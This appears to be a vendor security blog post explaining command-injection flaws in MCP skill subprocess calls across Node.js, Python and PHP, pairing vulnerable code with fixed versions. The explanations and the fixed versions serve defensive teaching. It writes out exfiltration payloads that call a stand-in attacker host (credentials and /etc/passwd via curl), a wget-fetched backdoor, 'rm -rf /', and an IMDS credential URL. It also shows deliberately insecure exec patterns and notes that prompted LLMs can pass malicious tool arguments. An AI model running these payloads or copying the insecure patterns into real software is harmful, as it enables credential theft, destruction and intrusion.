Command Injection via Shell Metacharacters in MCP Skill Subprocess Calls
When an MCP skill needs to invoke a system binary — an image converter, a Git client, an npm auditor, a PDF generator — it typically reaches for child_process.exec(), Python's subprocess.run(), or PHP's exec(). The convenience of building a command string with template literals or string concatenation is exactly what makes these calls dangerous: the moment user-controlled input touches a shell-interpolated command string, every shell metacharacter the attacker can smuggle in becomes an arbitrary code execution primitive. Semicolons, backticks, dollar-sign-paren subshells, ampersands, pipes — all of them work. CVSS 9.8 is not an edge case. It is the baseline impact when the server has any network access or any interesting files on disk.
Command injection is one of the oldest vulnerability classes in web security, yet it appears in MCP skill codebases at a rate that is surprisingly high for a category of software that is specifically intended to run with elevated access on behalf of end users. The pattern is always the same: a developer wraps a system utility in a thin integration layer, picks the string-interpolation API because it reads naturally, and ships it without considering that the tool parameter they are embedding into the command string is arriving from untrusted user input routed through the LLM tool call dispatch layer.
What makes command injection in MCP skills qualitatively more dangerous than in a typical web endpoint is the trust context. MCP skills are designed to perform real actions on behalf of users — cloning repositories, transforming files, auditing packages, generating documents. They run with real filesystem access, real network access, and often real cloud credentials in environment variables. When a command injection fires in this context, the attacker is not just reading a database row; they are potentially exfiltrating AWS credentials, reading SSH keys, writing to production infrastructure, or pivoting to other services on the same VPC segment.
SkillAudit's SA-SKL-CMDINJECT1 check covers four distinct patterns in this class. Each exploits a different language and subprocess API, and each has a clean, non-breaking fix that eliminates the shell entirely by using the array-argument form of the subprocess API — a form that passes arguments directly to the OS execve() syscall with no shell involved.
CMDINJECT1-001: exec() filename parameter
Node.js child_process.exec() passes its first argument to /bin/sh -c. A filename parameter embedded in a template literal gives attackers a semicolon-separated command execution primitive: ; curl attacker.com/$(cat /etc/passwd | base64).
CMDINJECT1-002: execSync git clone URL
Template-literal interpolation of a repository URL into an execSync() call. Attacker-supplied URL containing a semicolon appends arbitrary shell commands that run with the skill process's full permissions, including access to ~/.aws/credentials.
CMDINJECT1-003: Python subprocess shell=True
Python's subprocess.run() with shell=True and an f-string command. A path parameter of /tmp/pkg; rm -rf / appends a destructive second command. The fix is a one-argument change: shell=False with the command expressed as a list.
CMDINJECT1-004: PHP exec() with backtick subshell
PHP's exec("wkhtmltopdf {$userUrl}") — a URL with backtick subshell syntax `id > /tmp/pwned` executes a command inside the backtick operator before the outer exec() call even runs. Fix requires escapeshellarg() plus scheme and allowlist validation.
Credential exposure impact: In a typical MCP skill deployment on AWS, a successful command injection that reads ~/.aws/credentials or calls the IMDS endpoint at http://169.254.169.254/latest/meta-data/iam/security-credentials/ yields AccessKeyId, SecretAccessKey, and Token for the instance IAM role. These credentials provide full API access to whatever services the role has permissions for — typically S3 read/write, Secrets Manager, and DynamoDB. The cat /etc/passwd | base64 payload embedded in the CMDINJECT1-001 example is a proof-of-concept for data exfiltration via DNS; in production exploits, attackers use this channel to retrieve multi-kilobyte files by chunking the base64 output across multiple DNS lookups.
Why shell metacharacters work: a brief primer
When child_process.exec() in Node.js receives a string argument, it does not execute that string directly. It opens a child process running /bin/sh, passes the string as the -c argument, and /bin/sh parses and executes it as a shell script. The shell parser recognises a rich set of metacharacters that have meaning beyond literal character values:
The semicolon (;) is a command terminator — everything after it is a new, independent command. The pipe (|) connects standard output of one command to standard input of the next. The ampersand (&) sends a command to the background and returns immediately. The dollar-sign-paren construct ($(command)) is command substitution — it executes command and replaces the entire expression with the output, which can then be used as an argument in the outer command. Backticks (`` ` ``) are an older form of command substitution with identical semantics. Double quotes do not prevent metacharacter interpretation of $(...), ``, or backslash sequences — only single quotes provide literal escaping, and even then only if the developer wraps the entire argument in single quotes with correct quoting discipline.
The root issue is that string sanitisation approaches to this problem are fragile. Every approach to escaping shell metacharacters has edge cases across different shells (sh, bash, zsh, dash), different character encodings, and different shell versions. The only reliable fix is to never pass user-controlled input through a shell at all — and the subprocess APIs in every major language support this directly through their array-argument forms.
CMDINJECT1-001 — child_process.exec() shell metacharacters in filename parameter
The most common variant in MCP skill codebases. A skill that converts images, processes documents, or transforms files will often shell out to a system utility like ImageMagick's convert, ffmpeg, or pandoc. The developer constructs the command as a template literal with the filename embedded directly.
The exploit in this pattern is elegant in its simplicity. The filename parameter arrives from the tool call arguments — it is whatever string the caller passed. The attacker passes a filename of ; curl attacker.com/$(cat /etc/passwd | base64). The shell receives the full command string convert ; curl attacker.com/$(cat /etc/passwd | base64) output.png. The first command (convert with no arguments) fails harmlessly. The second command is curl attacker.com/$(cat /etc/passwd | base64). The shell evaluates the command substitution $(cat /etc/passwd | base64) first, producing a base64 string of the passwd file contents, then makes an HTTP GET request to that URL with the base64-encoded credentials appended as a path segment. The attacker's server logs the request and decodes the contents.
More destructive payloads follow the same structure: ; cat ~/.aws/credentials | base64 | xargs -I{} curl https://attacker.com/{} for AWS credential exfiltration, or ; wget -O /tmp/backdoor https://attacker.com/shell && chmod +x /tmp/backdoor && /tmp/backdoor & for a persistent reverse shell. The severity is CVSS 9.8 because the attack requires no authentication beyond the ability to call the MCP skill's tool, which is by design available to the LLM and all callers with skill access.
// VULNERABLE — CMDINJECT1-001 (CVSS 9.8)
// child_process.exec() passes first argument to /bin/sh -c
// filename is user-supplied via MCP tool call arguments
import { exec } from 'child_process';
import { promisify } from 'util';
const execAsync = promisify(exec);
export async function convertImage(filename: string): Promise<void> {
// VULNERABLE: exec() spawns /bin/sh -c "convert <filename> output.png"
// Attacker passes filename = "; curl attacker.com/$(cat /etc/passwd | base64)"
// Shell executes: convert ; curl attacker.com/$(cat /etc/passwd | base64) output.png
// The convert command fails silently, curl exfiltrates /etc/passwd via DNS
await execAsync(`convert ${filename} output.png`);
}
// FIXED — CMDINJECT1-001
// execFile() passes arguments directly to OS execve() — no shell is spawned
// Arguments are never interpreted as shell syntax regardless of their content
import { execFile } from 'child_process';
import { promisify } from 'util';
import path from 'path';
const execFileAsync = promisify(execFile);
// Allowlist of safe output formats
const ALLOWED_EXTENSIONS = new Set(['.png', '.jpg', '.webp', '.gif']);
export async function convertImage(filename: string): Promise<void> {
// Input validation: reject filenames with path traversal or suspicious chars
// This is defence-in-depth — execFile would not interpret these as shell, but
// we still want to prevent directory traversal into sensitive paths
if (filename.includes('..') || filename.includes('/') || filename.includes('\0')) {
throw new Error('Invalid filename: path traversal characters not allowed');
}
const ext = path.extname(filename).toLowerCase();
if (!ALLOWED_EXTENSIONS.has(ext)) {
throw new Error(`Unsupported input format: ${ext}`);
}
// execFile(['convert', filename, 'output.png']) — the OS receives three distinct
// arguments. No shell is involved. Semicolons, backticks, $() — all are literal
// characters passed as the filename argument to the convert binary, which will
// fail to open a file with that name rather than execute shell commands.
await execFileAsync('convert', [filename, 'output.png']);
}
The key difference between exec() and execFile() is not just an API preference — it is a fundamental change in how the operating system handles the subprocess launch. exec() creates a new process running /bin/sh (or cmd.exe on Windows) and passes the full command string as a single shell script. The shell parser is involved and interprets metacharacters. execFile() calls execve() directly with the program path and an array of argument strings. The operating system kernel passes those argument strings verbatim to the target process's argv array. No shell parser is involved at any point. A semicolon in an argument string is delivered to convert's argv[1] as a literal semicolon — it cannot terminate a command because there is no shell to interpret it.
CMDINJECT1-002 — execSync() git clone with attacker-controlled repository URL
MCP skills that manage code repositories — cloning, pulling, running CI checks — frequently use child_process.execSync() for Git operations because the synchronous API simplifies the control flow in short-lived tool call handlers. The vulnerability pattern is identical to CMDINJECT1-001 at the shell level, but the context differs in important ways that increase both the likelihood and the impact.
Git clone operations are plausibly user-controlled by design — a repository cloning skill is supposed to accept a repository URL from the caller. The developer may therefore believe that URL validation (checking for https://github.com/ prefix) is a sufficient control. It is not. Consider the payload: the attacker passes https://github.com/valid/repo; curl attacker.com/$(cat ~/.aws/credentials | base64). The URL begins with a valid-looking GitHub prefix, potentially passing a naive prefix check. But in the shell string git clone https://github.com/valid/repo; curl ..., the semicolon terminates the git clone command and starts a new one. The git clone either succeeds (cloning a real repository) or fails at the semicolon — either way, the second command runs.
AWS credential files are a particularly high-value target here because ~/.aws/credentials typically contains long-lived access keys for developer accounts, not just instance-level IMDS credentials. These keys often have broad permissions inherited from developer workstations and may never expire. Exfiltrating them gives the attacker persistent access that survives instance rotation, container restarts, and even deployment of a new skill version.
// VULNERABLE — CMDINJECT1-002 (CVSS 9.8)
// execSync() with template literal interpolation of user-supplied repoUrl
import { execSync } from 'child_process';
export function cloneRepository(repoUrl: string, targetDir: string): void {
// Developer added a "safety check" — but it's bypassable with a semicolon
// Attacker passes: "https://github.com/valid/repo; curl attacker.com/$(cat ~/.aws/credentials | base64)"
// The prefix check passes. The shell sees two commands. Both run.
if (!repoUrl.startsWith('https://')) {
throw new Error('Only HTTPS URLs are allowed');
}
// VULNERABLE: execSync() calls /bin/sh -c with the full interpolated string
// The semicolon after the repository URL starts a new shell command
execSync(`git clone ${repoUrl} ${targetDir}`, {
timeout: 30000,
stdio: 'inherit',
});
}
// FIXED — CMDINJECT1-002
// execFileSync() with array arguments — no shell, plus URL allowlist validation
import { execFileSync } from 'child_process';
// Strict URL allowlist: only well-known hosting providers over HTTPS
// Adjust this list to match your skill's actual use cases
const ALLOWED_URL_PREFIXES = [
'https://github.com/',
'https://gitlab.com/',
'https://bitbucket.org/',
];
function validateRepoUrl(url: string): void {
// 1. Parse as URL — rejects malformed strings outright
let parsed: URL;
try {
parsed = new URL(url);
} catch {
throw new Error('Invalid repository URL');
}
// 2. Must be HTTPS — rejects file://, ssh://, git://, and other schemes
if (parsed.protocol !== 'https:') {
throw new Error('Only HTTPS repository URLs are allowed');
}
// 3. Must match an allowed host prefix — prevents internal host enumeration
const isAllowed = ALLOWED_URL_PREFIXES.some(prefix => url.startsWith(prefix));
if (!isAllowed) {
throw new Error('Repository host is not in the allowlist');
}
// 4. No query parameters or fragments — edge case but good hygiene
if (parsed.search || parsed.hash) {
throw new Error('Repository URL must not contain query parameters or fragments');
}
}
export function cloneRepository(repoUrl: string, targetDir: string): void {
validateRepoUrl(repoUrl);
// execFileSync passes arguments directly to execve() — no shell interpretation
// Semicolons, $(), and backticks in repoUrl are passed as literal strings to git's argv
// git will attempt to clone a repository at that literal URL and fail safely
execFileSync('git', ['clone', '--depth', '1', repoUrl, targetDir], {
timeout: 30000,
stdio: 'inherit',
});
}
Note that URL prefix validation alone is not a sufficient fix — it must be combined with the array-argument subprocess API. A skill that validates the URL prefix but continues to use execSync() with template literal interpolation remains vulnerable to any URL-encoded or double-encoded bypass that places a shell metacharacter after the validated prefix. The correct mental model is: validation reduces the attack surface and enables better error messages; the array-argument API eliminates the shell injection vector entirely. Both are required.
execSync() in production: Beyond the injection risk, execSync() blocks the Node.js event loop for the entire duration of the subprocess. A git clone that takes 30 seconds to clone a large repository will block all concurrent requests to the skill. Use execFileSync() only in scripts and CLI tools, never in MCP skill handlers that may serve concurrent callers. For production skills, use the promise-based execFile() via promisify or the spawn API with stream handling.
CMDINJECT1-003 — Python subprocess.run(shell=True) with f-string interpolation
Python's subprocess module provides a shell keyword argument that, when set to True, passes the command string to /bin/sh -c on Unix or cmd.exe /c on Windows — exactly analogous to Node.js's exec(). The documentation for the subprocess module explicitly warns against using shell=True with untrusted input, calling out the shell injection risk by name. Despite this, MCP skills written in Python regularly use shell=True combined with f-string command interpolation because it reads naturally as a single string.
The npm audit pattern is common in MCP skills that perform dependency security scanning. Such a skill accepts a path to a package directory, runs npm audit --json against it, and returns the structured findings. The vulnerable form passes the path via f-string interpolation with shell=True. The attacker passes /tmp/pkg; rm -rf / as the package path. The shell executes npm audit --json /tmp/pkg, which may succeed or fail, then executes rm -rf / as a separate command — which, depending on the process's permissions, can be catastrophic.
Less dramatic but equally impactful: /tmp/pkg; cat /proc/1/environ | base64 | curl -d @- attacker.com reads the environment variables of the init process (PID 1) in a container, which typically includes every environment variable passed to the container at start time — database connection strings, API keys, JWT secrets, and cloud provider credentials.
# VULNERABLE — CMDINJECT1-003 (CVSS 8.1)
# subprocess.run() with shell=True and f-string interpolation of user-supplied path
import subprocess
import json
def audit_packages(pkg_path: str) -> dict:
# VULNERABLE: shell=True passes the full f-string to /bin/sh -c
# Attacker passes pkg_path = "/tmp/pkg; rm -rf /"
# Shell executes: npm audit --json /tmp/pkg AND THEN rm -rf /
result = subprocess.run(
f"npm audit --json {pkg_path}",
shell=True, # <-- root cause: passes string to /bin/sh -c
capture_output=True,
text=True,
timeout=60,
)
if result.returncode != 0 and not result.stdout:
raise RuntimeError(f"npm audit failed: {result.stderr}")
return json.loads(result.stdout)
# FIXED — CMDINJECT1-003
# subprocess.run() with shell=False (the default) and list-form command
import subprocess
import json
import os
def audit_packages(pkg_path: str) -> dict:
# Input validation: pkg_path must be an existing directory we control
# Reject path traversal and ensure the directory is under a safe base
pkg_path = os.path.realpath(pkg_path) # resolve symlinks and .. components
safe_base = os.path.realpath('/tmp/skillaudit-workdirs')
if not pkg_path.startswith(safe_base + os.sep):
raise ValueError(f"Package path must be under {safe_base}")
if not os.path.isdir(pkg_path):
raise ValueError("Package path must be an existing directory")
# shell=False is the default — explicitly stated here for clarity
# Command is a list: each element is passed as a separate argv entry to npm
# Semicolons, backticks, $() in pkg_path are passed as literals to npm's argv
# npm will fail to find that path rather than execute shell commands
result = subprocess.run(
['npm', 'audit', '--json', pkg_path],
shell=False, # <-- no shell: list is passed directly to execve()
capture_output=True,
text=True,
timeout=60,
)
# npm audit exits non-zero when vulnerabilities are found — that is expected
# Only raise on completely missing output (binary not found, fatal error)
if not result.stdout:
raise RuntimeError(f"npm audit produced no output: {result.stderr}")
return json.loads(result.stdout)
The fix here is a single keyword argument change — shell=True to shell=False — combined with converting the command from an f-string to a list. The list form with shell=False passes each list element directly to the execve() syscall as a separate argument. The OS delivers ['npm', 'audit', '--json', '/tmp/pkg; rm -rf /'] to npm's sys.argv as four distinct strings. npm receives /tmp/pkg; rm -rf / as a single path argument and attempts to find a directory at that exact path — it will not find one, and will raise a file-not-found error, which is the correct failure mode.
The additional path validation using os.path.realpath() and a safe base directory check is defence-in-depth against a secondary vulnerability class: directory traversal. Even with shell=False, a path of ../../../../etc would cause npm to run against /etc as a package directory, which could leak information about the system. Resolving the real path and checking it against an allowed base directory prefix prevents this.
CMDINJECT1-004 — PHP exec() with backtick subshell in URL parameter
PHP's exec() function behaves identically to Node.js's child_process.exec() at the OS level — it passes the command string to the system shell for interpretation. PHP MCP skill implementations often use wkhtmltopdf for PDF generation, accepting a user-supplied URL as the target page to render. The command is built with string interpolation: exec("wkhtmltopdf {$userUrl}").
PHP does not use template literals — it uses double-quoted strings with variable interpolation. The result is structurally identical: the user-supplied URL is embedded directly into a shell command string with no quoting or escaping. The exploit uses backtick subshell syntax to inject a command inside the URL value itself: https://example.com`id > /tmp/pwned`. When the shell evaluates this string, it encounters the backticks, executes the id command, and substitutes the output into the outer command before wkhtmltopdf even receives the URL as an argument. The id command writes the process user identity to /tmp/pwned as a proof of concept; production exploits replace it with credential exfiltration or reverse shell commands.
PHP's escapeshellarg() function exists specifically to address this problem for shell argument contexts. It wraps the argument in single quotes and escapes any single quotes within the value, producing a string that the shell treats as a single literal argument. This is a legitimate mitigation, but it must be combined with URL scheme validation — an attacker who cannot inject shell metacharacters might still pass a file:///etc/passwd URL, which wkhtmltopdf will happily fetch and render. The defence therefore has two independent layers: scheme validation rejects non-HTTPS URLs before they reach the command string, and escapeshellarg() ensures that even a valid HTTPS URL containing unexpected characters cannot break out of its argument position.
<?php
// VULNERABLE — CMDINJECT1-004 (CVSS 7.3)
// PHP exec() with direct variable interpolation of user-supplied URL
// No shell quoting, no scheme validation
function generatePdf(string $userUrl, string $outputPath): void {
// VULNERABLE: $userUrl interpolated into shell command string with no escaping
// Attacker passes: "https://example.com`id > /tmp/pwned`"
// Shell evaluates backtick subshell: runs `id`, writes output to /tmp/pwned
// Then runs wkhtmltopdf with the substituted string as the URL argument
exec("wkhtmltopdf {$userUrl} {$outputPath}");
if (!file_exists($outputPath)) {
throw new RuntimeException('PDF generation failed');
}
}
<?php
// FIXED — CMDINJECT1-004
// escapeshellarg() quoting + https:// only scheme check + allowlist pre-validation
function validateUrl(string $url): void {
// 1. Parse with PHP's filter_var — rejects syntactically invalid URLs
if (!filter_var($url, FILTER_VALIDATE_URL)) {
throw new InvalidArgumentException('Invalid URL format');
}
// 2. Must be HTTPS only — rejects file://, http://, data://, javascript://
$parsed = parse_url($url);
if (!isset($parsed['scheme']) || $parsed['scheme'] !== 'https') {
throw new InvalidArgumentException('Only HTTPS URLs are allowed');
}
// 3. Optional: allowlist specific hosts if use case permits
// $allowedHosts = ['example.com', 'docs.example.com'];
// if (!in_array($parsed['host'] ?? '', $allowedHosts, true)) {
// throw new InvalidArgumentException('Host not in allowlist');
// }
// 4. Reject URLs with credentials (user:pass@host) — these have no legitimate use
if (!empty($parsed['user']) || !empty($parsed['pass'])) {
throw new InvalidArgumentException('URL credentials are not allowed');
}
}
function generatePdf(string $userUrl, string $outputPath): void {
// Validate scheme and URL structure first — rejects non-HTTPS before shell involvement
validateUrl($userUrl);
// escapeshellarg() wraps in single quotes and escapes internal single quotes
// Result: 'https://example.com`id > /tmp/pwned`' — the backticks become literal chars
// The shell cannot interpret them because they are inside single quotes
$safeUrl = escapeshellarg($userUrl);
$safeOutput = escapeshellarg($outputPath);
// escapeshellcmd() on the entire command is NOT recommended — it has edge cases
// The correct approach is escapeshellarg() on each argument individually
exec("wkhtmltopdf --disable-javascript --no-external-links {$safeUrl} {$safeOutput}",
$output, $exitCode);
if ($exitCode !== 0 || !file_exists($outputPath)) {
throw new RuntimeException('PDF generation failed with exit code: ' . $exitCode);
}
}
The --disable-javascript and --no-external-links flags passed to wkhtmltopdf in the fixed version address a secondary concern: even with a correctly escaped HTTPS URL, the rendered page might contain JavaScript that initiates SSRF requests to internal services, or HTML that includes images or stylesheets from internal URLs. These flags prevent wkhtmltopdf from following external links and disable the JavaScript engine, closing those secondary channels. For a more detailed treatment of wkhtmltopdf SSRF patterns in MCP skills, see the SSRF via PDF generation and headless browser rendering post and the accompanying SA-SKL-SSRF9 rule reference.
Findings at a glance
| Finding ID | Language | Vulnerable pattern | Severity | CVSS | Fix |
|---|---|---|---|---|---|
CMDINJECT1-001 |
Node.js | exec(`convert ${filename} output.png`) |
Critical | 9.8 | execFile('convert', [filename, 'output.png']) |
CMDINJECT1-002 |
Node.js | execSync(`git clone ${repoUrl}`) |
Critical | 9.8 | execFileSync('git', ['clone', repoUrl]) + URL allowlist |
CMDINJECT1-003 |
Python | subprocess.run(f"npm audit {pkgPath}", shell=True) |
High | 8.1 | subprocess.run(['npm', 'audit', pkg_path], shell=False) |
CMDINJECT1-004 |
PHP | exec("wkhtmltopdf {$userUrl}") |
High | 7.3 | escapeshellarg($userUrl) + https:// scheme check + allowlist |
child_process.exec() with filename in template literal; semicolon-separated command injection via /bin/shexecSync() with repository URL in template literal; AWS credential exfiltration via semicolon-appended curl commandsubprocess.run(shell=True) with f-string package path; destructive second command via semicolonexec() with unquoted URL variable; backtick subshell command execution before outer command runsDetection with SkillAudit
SA-SKL-CMDINJECT1 is part of SkillAudit's injection rule family. The scanner uses AST-level taint analysis to trace data flow from MCP tool call argument deserialization — where the JSON payload from the LLM is unpacked into typed parameters — through to subprocess API call sites. For Node.js skills, it identifies calls to exec(), execSync(), spawnSync(), and shell: true usages in spawn() and spawnSync() where the command string contains a tainted value. It flags these regardless of whether the developer has added validation checks before the call, because validation alone does not eliminate the shell interpretation risk.
For Python skills, the scanner looks for subprocess.run(), subprocess.call(), subprocess.check_output(), os.system(), and os.popen() calls with shell=True where the command argument contains any f-string interpolation, string concatenation, or format call that incorporates a value derived from tool call input. It also checks for the equivalent shell=1 form and subprocess.Popen(shell=True). For PHP, it checks calls to exec(), shell_exec(), system(), passthru(), and the backtick operator where the command string incorporates a variable that originates from request input or tool call parameters.
The scanner additionally flags cases where the fix is partially applied — for example, a Node.js skill that switched to execFile() but still constructs the arguments array by splitting a template literal string rather than using a static array with separate variable arguments. String splitting on spaces does not provide shell injection protection because it does not account for quoted arguments, and an attacker can embed spaces in filenames to cause argument splitting in unintended ways.
Template injection vulnerabilities in Handlebars, Nunjucks, and similar templating engines present a related but distinct injection class. When MCP skills use template engines to generate HTML or Markdown output from user-supplied data, server-side template injection can produce RCE through the template evaluation engine rather than through a shell subprocess. For coverage of that class, see the SA-SKL-INJECTION5 rule reference on template injection in Handlebars and Nunjucks.
The broader context: why subprocess APIs are high-risk in MCP skills specifically
Command injection is not a new vulnerability class. It has been in the OWASP Top 10 for over a decade. Web application developers have largely absorbed the lesson that dynamic SQL must use parameterized queries rather than string concatenation. The equivalent lesson for subprocess calls — use the array-argument API rather than string interpolation — is less widely internalised, perhaps because the shell-string form looks more natural and because the consequences appear less immediate than a SQL injection that returns database contents in an error message.
MCP skills change the risk calculus in two important ways. First, the input vector is unusual. Tool call arguments arrive through the LLM's tool use dispatch layer, which means the input is not coming directly from a form submission or an HTTP parameter that a developer might intuitively recognise as untrusted. The LLM assembles the tool call arguments from user conversation, and developers sometimes assume that because the LLM generated the arguments, they are safe — ignoring the fact that an adversarial user can craft a prompt that causes the LLM to pass attacker-controlled values as tool arguments, and that in many skill deployments the tool arguments are passed through with minimal LLM transformation. Second, MCP skills run with significantly elevated permissions compared to typical web endpoints. They have filesystem access, network access, and cloud credentials because they need them to do their job. This makes the impact of a successful command injection dramatically higher than in a sandboxed web application context.
The fix requires no architectural changes and no new dependencies. It is a one-line change in most cases: replace exec() with execFile(), replace shell=True with shell=False, express the command as an array. The fix does not reduce functionality — the subprocess runs the same program with the same arguments, just without a shell parser in the middle that can be subverted by metacharacters in the arguments.
Run SA-SKL-CMDINJECT1 on your skill: Paste your MCP skill's GitHub URL at skillaudit.dev to get a full CMDINJECT1 scan alongside all other SkillAudit injection, SSRF, and authentication checks. The free tier covers public repositories and returns a shareable security badge you can include in your README before submitting to the Anthropic skills directory.